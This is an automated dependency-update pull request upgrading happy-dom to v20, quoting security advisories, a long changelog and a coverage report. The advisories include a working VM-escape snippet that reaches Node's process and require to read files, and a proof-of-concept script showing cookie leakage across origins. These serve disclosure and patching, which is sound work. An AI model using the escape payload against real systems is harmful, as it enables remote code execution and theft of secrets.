Update dependency happy-dom to v20 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	^13.3.8 → ^20.0.0

---

happy-dom allows for server side code to be executed by a <script> tag

CVE-2024-51757 / GHSA-96g7-g7g9-jxw8

More information

Details

Impact

Consumers of the NPM package happy-dom

Patches

The security vulnerability has been patched in v15.10.2

Workarounds

No easy workarounds to my knowledge

References

#​1585

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/capricorn86/happy-dom/security/advisories/GHSA-96g7-g7g9-jxw8
• https://github.com/capricorn86/happy-dom/issues/1585
• https://github.com/capricorn86/happy-dom/pull/1586
• https://github.com/capricorn86/happy-dom/commit/5ee0b1676d4ce20cc2a70d1c9c8d6f1e3f57efac
• https://github.com/capricorn86/happy-dom/commit/d23834c232f1cf5519c9418b073f1dcec6b2f0fd
• https://github.com/capricorn86/happy-dom/releases/tag/v15.10.2
• https://nvd.nist.gov/vuln/detail/CVE-2024-51757
• https://github.com/advisories/GHSA-96g7-g7g9-jxw8

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Happy DOM: VM Context Escape can lead to Remote Code Execution

CVE-2025-61927 / GHSA-37j7-fg3j-429f

More information

Details

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);

ESM (Not possible to get hold of import or require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);

Potential Impact

Server-Side Rendering (SSR)

const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

1. Data Exfiltration: Access to environment variables, configuration files, secrets
2. Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
3. Code Execution: Child process access for running arbitrary commands
4. Persistence: File system access

Recommended Immediate Actions

1. Update Happy DOM to v20 or above
   • This version has JavaScript evaluation disabled by default
   • This version will output a warning if JavaScript is enabled in an insecure environment
2. Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
   • This makes sure that evaluation can't be used at process level to escape the VM
   • eval() and Function() can still be used within the Happy DOM VM without any known security risk
   • Happy DOM v20 and above will output a warning if this flag is not in use
3. If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

References

• https://github.com/capricorn86/happy-dom/security/advisories/GHSA-37j7-fg3j-429f
• https://nvd.nist.gov/vuln/detail/CVE-2025-61927
• https://github.com/capricorn86/happy-dom/commit/819d15ba289495439eda8be360d92a614ce22405
• https://github.com/capricorn86/happy-dom/commit/de438ad72921c69793584aa657b48d3655dfac97
• https://github.com/capricorn86/happy-dom/releases/tag/v20.0.0
• https://github.com/advisories/GHSA-37j7-fg3j-429f

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

1. Node.js >= 22
2. happy-dom 20.6.1
3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
3. From page host, call fetch to target host with credentials: "include"
4. Observe Cookie header received by the target host

Expected:

1. Include api_cookie=API_ONLY
2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

1. Includes page_cookie=PAGE_ONLY
2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g
• https://nvd.nist.gov/vuln/detail/CVE-2026-34226
• https://github.com/capricorn86/happy-dom/pull/2117
• https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751
• https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts
• https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9
• https://github.com/advisories/GHSA-w4gp-fjgq-3q4g

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

capricorn86/happy-dom (happy-dom)

v20.8.9

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117
  • A security advisory (GHSA-w4gp-fjgq-3q4g) was reported for this security vulnerability. Big thanks to @​r74tech for reporting this!

v20.8.8

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
  • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

👷‍♂️ Patch fixes

• Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

Compare Source

👷‍♂️ Patch fixes

• Request.formData() should honor "Content-Type" header - By @​brianhelba in task #​2106

v20.8.5

Compare Source

👷‍♂️ Patch fixes

• Fixes error thrown when modifying DOM structure in connectedCallback() - By @​capricorn86 in task #​2110

v20.8.4

Compare Source

👷‍♂️ Patch fixes

• Replace ConsoleConstructor import with indexed access type - By @​YevheniiKotyrlo in task #​1845

v20.8.3

Compare Source

👷‍♂️ Patch fixes

• Throw error if event is not of type Event in EventTarget.dispatchEvent() - By @​capricorn86 in task #​2054

v20.8.2

Compare Source

👷‍♂️ Patch fixes

• Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

Compare Source

👷‍♂️ Patch fixes

• Make "inert" attribute block focus interactions - By @​coffeeandwork in task #​1422

v20.8.0

Compare Source

🎨 Features

• Adds support for setPointerCapture, hasPointerCapture, and releasePointerCapture to Element - By @​coffeeandwork in task #​1733

v20.7.2

Compare Source

👷‍♂️ Patch fixes

• Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

Compare Source

👷‍♂️ Patch fixes

• Fixes issue related to parsing direct descendants (>) and universal (*) query selectors - By @​Cherry in task #​2078

v20.7.0

Compare Source

🎨 Features

• Adds support for Window.getScreenDetails() - By @​TrevorBurnham in task #​1923
• Extends Screen from EventTarget - By @​TrevorBurnham in task #​1923

v20.6.5

Compare Source

👷‍♂️ Patch fixes

• Add clearImmediate to Jest environment global scope - By @​TrevorBurnham in task #​1927

v20.6.4

Compare Source

👷‍♂️ Patch fixes

• Normalize invalid input type attribute to "text" per HTML spec - By @​atzzCokeK in task #​2053

v20.6.3

Compare Source

👷‍♂️ Patch fixes

• Refactors query selector parser to be able to handle complex rules - By @​capricorn86 in task #​1910
• Fixes issue related to using query selector for attribute in XML document - By @​capricorn86 in task #​1912
• Fixes issue with using quotes within quotes for attribute query selector (e.g. [data-value="it's a test"]) - By @​capricorn86 in task #​2034

v20.6.2

Compare Source

👷‍♂️ Patch fixes

• Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @​acollins1991 in task #​2066

v20.6.1

Compare Source

👷‍♂️ Patch fixes

• Support CSS gradients with rgba() - By @​atzzCokeK in task #​2042
• Support unicode characters in selectors per CSS spec - By @​kaigritun in task #​2057

v20.6.0

Compare Source

🎨 Features

• Adds support for register on import to the @happy-dom/global-registrator package - By @​capricorn86 in task #​2060

v20.5.5

Compare Source

👷‍♂️ Patch fixes

• Correct caption element content model to allow flow content - By @​atzzCokeK in task #​2052

v20.5.4

Compare Source

👷‍♂️ Patch fixes

• Implement Text.wholeText property - By @​aki05162525 in task #​1959

v20.5.3

Compare Source

👷‍♂️ Patch fixes

• Node.replaceWith does not throw w/o parent - By @​lukeed

v20.5.2

Compare Source

👷‍♂️ Patch fixes

• Use entities package for HTML/XML encoding and decoding - By @​TrevorBurnham in task #​1947

v20.5.1

Compare Source

👷‍♂️ Patch fixes

• Fixes logic in HTMLInputElement.stepUp() and HTMLInputElement.stepDown() to work according to spec - By @​stevematney in task #​1955

v20.5.0

Compare Source

👷‍♂️ Patch fixes

• Removes circular dependencies internally - By @​capricorn86 in task #​2055
  • Compilers can handle simpler circular dependencies, but warnings may be outputted
• Changes naming of types used internally to follow a consistent pattern - By @​capricorn86 in task #​2055
• Enforces use of the "type" modifier internally in the source code (e.g. import type and export type) - By @​capricorn86 in task #​2055

v20.4.0

Compare Source

🎨 Features

• Adds support for caching the compiled code of EcmaScript modules - By @​capricorn86 in task #​2049
• Improves the way nodes are destroyed and garbage collected - By @​capricorn86 in task #​2049

v20.3.9

Compare Source

👷‍♂️ Patch fixes

• Accept Document nodes as valid boundary points in Selection API - By @​skoch13 in task #​1952

v20.3.8

Compare Source

👷‍♂️ Patch fixes

• The getters for the properties focusNode and focusOffset in the Selection API returned incorrect values - By @​skoch13 in task #​1850

v20.3.7

Compare Source

👷‍♂️ Patch fixes

• Updates README.md for the "@​happy-dom/server-renderer" package - By @​capricorn86 in task #​2035

v20.3.6

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where it wasn't possible to toggle the "open" attribute of <details> by clicking on a child of the <summary> element - By @​Nxooah in task #​1928

v20.3.5

Compare Source

👷‍♂️ Patch fixes

• Use internal property for "location" in BrowserFrameURL to avoid mock interference - By @​marchaos in task #​1964
• Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in CookieURLUtility - By @​marchaos in task #​1968

v20.3.4

Compare Source

👷‍♂️ Patch fixes

• Preserve attribute name case in CSS selectors for XML documents - By @​TrevorBurnham in task #​1912
• Implement implicit closing of <p> elements per HTML spec - By @​TrevorBurnham in task #​1949
• EventTarget should not call arbitrary on* properties - By @​TrevorBurnham in task #​1895

v20.3.3

Compare Source

👷‍♂️ Patch fixes

• Add "which" property to KeyboardEvent - By @​TrevorBurnham in task #​1897
• Node.getRootNode() returns correct root for detached shadow trees - By @​TrevorBurnham in task #​1941
• Fixes issue that prevented Node.contains() to work for <select> and <form> elements - By @​TrevorBurnham in task #​1876
• Replace setTimeout() with queueMicrotask() where appropriate - By @​TrevorBurnham in task #​1880
• Optimize XMLEncodeUtility with pre-compiled RegExp and lookup tables - By @​TrevorBurnham in task #​1983
• Use parseFloat() for "Cache-Control" header max-age parsing - By @​TrevorBurnham in task #​1985
• Remove redundant RegExp flags in HTMLParser - By @​TrevorBurnham in task #​1981
• Widen "types/node" version range to support Node 24+ - By @​TrevorBurnham in task #​1966

v20.3.2

Compare Source

👷‍♂️ Patch fixes

• Use PropertySymbol.body to set body in cloneBodyStream - By @​TrevorBurnham in task #​1963
• Optimize DOMTokenList add/remove with Set for O - By @​TrevorBurnham in task #​1989
• Allow paths in WebSocket URLs - By @​TrevorBurnham in task #​1975
• Decode named HTML entities correctly - By @​TrevorBurnham in task #​1951

v20.3.1

Compare Source

👷‍♂️ Patch fixes

• Normalizes the "format" parameter according to the HTML specification in DataTransfer.getData() - By @​marchaos in task #​1965
• Handle partial responses in XMLHttpRequest - By @​rexxars in task #​1890

v20.3.0

Compare Source

🎨 Features

• Use RegExp to convert ASCII character casing to improve performance - By @​TrevorBurnham in task #​1886

v20.2.0

Compare Source

🎨 Features

• Use Element.classList.contains() instead of splitting className in query selectors to improve performance as it's cached - By @​TrevorBurnham in task #​1884

v20.1.1

Compare Source

👷‍♂️ Patch fixes

• Fixes caching in querySelector() - By @​TrevorBurnham in task #​1882
• Avoid sort in querySelector() to improve performance - By @​TrevorBurnham in task #​1882

v20.1.0

Compare Source

🎨 Features

• Adds support for BrowserPage.evaluateModule() and BrowserFrame.evaluateModule() - By @​capricorn86 in task #​1944
• Adds support for module to the browser settings - By @​capricorn86 in task #​1944
  • This makes it possible to add a custom resolver or a node module resolver
• Adds support for dynamic import() to JavaScript evaluation - By @​capricorn86 in task #​1944
  • It was previously only supported when using type="module" on script elements
• Adds support for WebSocket - By @​capricorn86 in task #​1944
• Adds support for CloseEvent - By @​capricorn86 in task #​1944
• Adds support for render.setupScript and render.mode to the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Changes name from urls to renderItems in the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Adds support for rendering HTML strings to ServerRenderer in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
  • It previously only had support for rendering URLs
  • This makes it easier to add server-rendering as a hook to frameworks
• Makes JavaScript evaluation disabled by default in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

👷‍♂️ Patch fixes

• Several fixed to the EcmaScript module compiler (esm) - By @​capricorn86 in task #​1944
• Fixes issue where rendering using Worker's didn't work in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

v20.0.11

Compare Source

👷‍♂️ Patch fixes

• Always include manually set authorization headers in requests - By @​capricorn86 in task #​1048'
  • Authorization headers should only be omitted when automatically set by page context

v20.0.10

Compare Source

👷‍♂️ Patch fixes

• Clears event listeners on all nodes when a Window is closed to prevent memory leaks - By @​TrevorBurnham in task #​1892

v20.0.9

Compare Source

👷‍♂️ Patch fixes

• Elements should only be upgraded to a custom element (web component) when the element is in the document - By @​capricorn86 in task #​1945
  • This will also improve the memory footprint as the listeners prevented nodes from being garbage collected until the document was closed

v20.0.8

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where previousSibling() and nextSibling() didn't work in HTMLSelectElement and HTMLFormElement - By @​capricorn86 in task #​1939
• Fixes issue where parsing an item without a permitted parent (e.g. <tr>) should be valid inside a <template> element - By @​capricorn86 in task #​1939

v20.0.7

Compare Source

👷‍♂️ Patch fixes

• Fix incorrect handling of >= operator in media query parser - By @​lkritsimas in task #​1869

v20.0.6

Compare Source

👷‍♂️ Patch fixes

• Changes implementation for DOMTokenList.forEach(), Headers.forEach() and NodeList.forEach() to be spec compliant - By @​ikeyan in task #​1858

v20.0.5

Compare Source

👷‍♂️ Patch fixes

• The setter TreeWalker.currentNode should validate if the value is a Node - By @​capricorn86 in task #​1935

v20.0.4

Compare Source

👷‍♂️ Patch fixes

• Only adds buttons to FormData if they are the submitter - By @​maxmil and @​
  karpiuMG in task #​1859

v20.0.3

Compare Source

👷‍♂️ Patch fixes

• Moves URL resolution to after checking if module preloading is enabled to prevent URL errors to be thrown when unresolvable - By @​iam-medvedev in task #​1851
• Fixes issue where CSS variables aren't parsed correctly when inside CSS functions - By @​fimion in task #​1837

v20.0.2

Compare Source

👷‍♂️ Patch fixes

• Adds frozen intrinsics flag to workers in @happy-dom/server-renderer - By @​capricorn86 in task #​1934

v20.0.1

Compare Source

👷‍♂️ Patch fixes

• Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
  • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
  • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

v20.0.0

Compare Source

I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.

💣 Breaking Changes

• Due to security risks, JavaScript evaluation is now disabled by default - By @​capricorn86 in task #​1930
  • A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @​Mas0nShi for reporting this!
  • Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
  • JavaScript evaluation can be enabled by setting enableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in the Wiki

v19.0.2

Compare Source

👷‍♂️ Patch fixes

• Fixes issue related to CSS pseudo selector :scope that didn't work correctly for direct descendants to root - By @​capricorn86 in task #​1620

v19.0.1

Compare Source

👷‍♂️ Patch fixes

• Fixes issue with sending in URLs as string in @happy-dom/server-renderer config using CLI - By @​capricorn86 in task #​1908

v19.0.0

Compare Source

💣 Breaking Changes

• Removes support for CommonJS - By @​capricorn86 in task #​1730
  • Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using require()
• Updates Jest to v30 in the @happy-dom/jest-environment package - By @​capricorn86 in task #​1730
• Makes Jest packages peer dependencies to make it easier to align versions with the project using @happy-dom/jest-environment - By @​capricorn86 in task #​1730

🎨 Features

• Adds a new package called @happy-dom/server-renderer - By @​capricorn86 in task #​1730
  • This package provides a simple way to statically render (SSG) or server-side render (SSR) your client-side application
  • Read more in the Wiki under Server-Renderer
• Adds support for import.meta to the ESM compiler - By @​capricorn86 in task #​1730
• Adds support for the CSS pseudo selector :scope - By @​capricorn86 in task #​1620
• Improves support for MediaList - By @​capricorn86 in task #​1730
• Adds support for CSSKeywordValue, CSSStyleValue, StylePropertyMap, StylePropertyMap, StylePropertyMapReadOnly - By @​capricorn86 in task #​1730
• Improves debug information in the ESM compiler - By @​capricorn86 in task #​1730
• Adds validation of browser settings when creating a new Browser instance - By @​capricorn86 in task #​1730
• Adds support for the browser setting navigation.beforeContentCallback which makes it possible to inject event listeners or logic before content is loaded to the document when navigating a browser frame - By @​capricorn86 in task #​1730
• Adds support for the browser setting fetch.requestHeaders which provides with a declarative and simple way to add request headers - By @​capricorn86 in task #​1730
• Adds support for setting an object to timer.preventTimerLoops which makes it possible to define different settings for setTimeout() and requestAnimationFrame() - By @​capricorn86 in task #​1730
• Adds support for the browser setting viewport which makes it possible to define a default viewport size - By @​capricorn86 in task #​1730
• Adds support for the parameters beforeContentCallback and headers to BrowserFrame.goto(), BrowserFrame.goBack(), BrowserFrame.goForward(), BrowserFrame.goSteps() and BrowserFrame.reload() - By @​capricorn86 in task #​1730
• Adds support for PopStateEvent and trigger the event when navigating the page history using History.pushState() - By @​capricorn86 in task #​1730
• Use local file paths for virtual server files in stack traces - By @​capricorn86 in task #​1730
• Adds support for ResponseCache.fileSystem.load() and ResponseCache.fileSystem.save() for storing and loading cache from the file system - By @​capricorn86 in task [#​1730](https://redirect.github.com/capricorn86/happy-dom/issues/

✂ Note

PR body was truncated to here.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 46.99%. Comparing base (04b07c8) to head (53a70f2).
⚠️ Report is 2 commits behind head on main.

Additional details and impacted files

@@            Coverage Diff             @@
##             main      #54      +/-   ##
==========================================
- Coverage   47.16%   46.99%   -0.17%     
==========================================
  Files          71       71              
  Lines        1798     1798              
  Branches       48       47       -1     
==========================================
- Hits          848      845       -3     
- Misses        948      951       +3     
  Partials        2        2              

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
• 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.